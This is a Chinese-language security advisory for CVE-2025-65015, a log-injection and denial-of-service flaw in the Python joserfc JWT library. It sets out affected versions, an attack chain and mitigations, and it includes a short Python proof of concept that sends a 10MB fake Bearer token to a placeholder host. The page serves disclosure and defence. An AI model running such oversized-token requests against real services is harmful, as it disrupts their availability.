IPBUF安全漏洞报告
English
CVE-2025-65015 CVSS 7.5 高危

CVE-2025-65015: joserfc库JWT解码日志注入漏洞

披露日期: 2025-11-18

漏洞信息

漏洞编号
CVE-2025-65015
漏洞类型
日志注入/信息泄露
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
joserfc (Python JOSE库)

相关标签

日志注入拒绝服务JWTPythonjoserfc信息泄露内存耗尽CVE-2025-65015

漏洞概述

CVE-2025-65015是joserfc Python库中的一个高危安全漏洞。该库实现了多种JSON对象签名和加密(JOSE)标准。漏洞源于1.3.3至1.3.5之前版本和1.4.0至1.4.2之前版本中,ExceededSizeError异常消息未对JWT令牌部分进行适当解码处理。当攻击者发送包含超大JWT载荷的HTTP请求时,异常消息会将完整的未解码JWT内容嵌入日志中,可能导致日志系统处理极大消息,造成拒绝服务(DoS)或信息泄露风险。在生产环境中,如果Web服务器配置不当或缺少生产级防护,攻击者可利用此漏洞通过发送超大Bearer令牌触发漏洞,造成应用程序可用性下降。

技术细节

漏洞核心问题在于joserfc库在处理JWT解码和claims验证时,当检测到payload大小超过限制后,会抛出ExceededSizeError异常。该异常的err_msg参数直接嵌入了完整的JWT token载荷(header.payload.signature),而这些内容在进入异常处理流程前已经被加载到内存中。攻击者可以构造超大尺寸的JWT payload(如数MB甚至更大的base64编码数据),当应用程序使用Python日志系统或集成Sentry等诊断工具时,这些超大异常消息会被记录和处理。由于payload已经完全加载到内存,库层面无法拒绝或阻止该操作。攻击者通过发送带有超大Authorization: Bearer <large_jwt>头的HTTP请求,即可触发jwt.decode()或claims验证时的异常,导致日志系统处理极大消息,消耗大量内存和CPU资源,造成服务响应缓慢或崩溃。

攻击链分析

STEP 1
1
攻击者识别使用joserfc库进行JWT验证的Python Web应用
STEP 2
2
攻击者构造包含超大payload(数MB到数百MB)的恶意JWT token
STEP 3
3
通过HTTP请求的Authorization: Bearer header发送超大JWT
STEP 4
4
应用调用joserfc.jwt.decode()解码JWT,加载完整payload到内存
STEP 5
5
库检测到payload大小异常,抛出ExceededSizeError异常
STEP 6
6
异常消息包含未解码的完整JWT内容,触发Python日志系统
STEP 7
7
日志系统(如Sentry)处理极大日志消息,消耗CPU和内存资源
STEP 8
8
应用程序可用性受损,可能导致服务拒绝或崩溃

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import base64 import json # Generate a large JWT payload to trigger ExceededSizeError def generate_large_jwt(): header = base64.urlsafe_b64encode(json.dumps({"alg": "HS256", "typ": "JWT"}).encode()).decode().rstrip('=') # Create a very large payload (10MB) large_payload_content = 'A' * (10 * 1024 * 1024) payload = base64.urlsafe_b64encode(large_payload_content.encode()).decode().rstrip('=') signature = base64.urlsafe_b64encode(b'demo').decode().rstrip('=') return f"{header}.{payload}.{signature}" large_jwt = generate_large_jwt() print(f"Generated JWT with payload size: {len(large_jwt)} bytes") # Attack: Send request with oversized JWT to trigger logging DoS target_url = "http://vulnerable-app.com/api/endpoint" headers = { "Authorization": f"Bearer {large_jwt}", "Content-Type": "application/json" } try: response = requests.get(target_url, headers=headers, timeout=30) print(f"Response status: {response.status_code}") except Exception as e: print(f"Request failed: {e}") # The attack causes: # 1. joserfc.jwt.decode() to load the full JWT into memory # 2. ExceededSizeError exception with full payload in message # 3. Python logging/Sentry processing extremely large log messages # 4. Memory exhaustion and potential service disruption

影响范围

joserfc >= 1.3.3, < 1.3.5
joserfc >= 1.4.0, < 1.4.2

防御指南

临时缓解措施
立即升级joserfc到1.3.5或1.4.2版本。在修复版本可用前,可在应用层实现JWT大小预验证,限制Authorization header中Bearer token的总长度不超过合理阈值(如1KB)。同时配置日志系统忽略或截断异常消息中的超大字段,确保日志处理不会因单个条目而耗尽资源。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表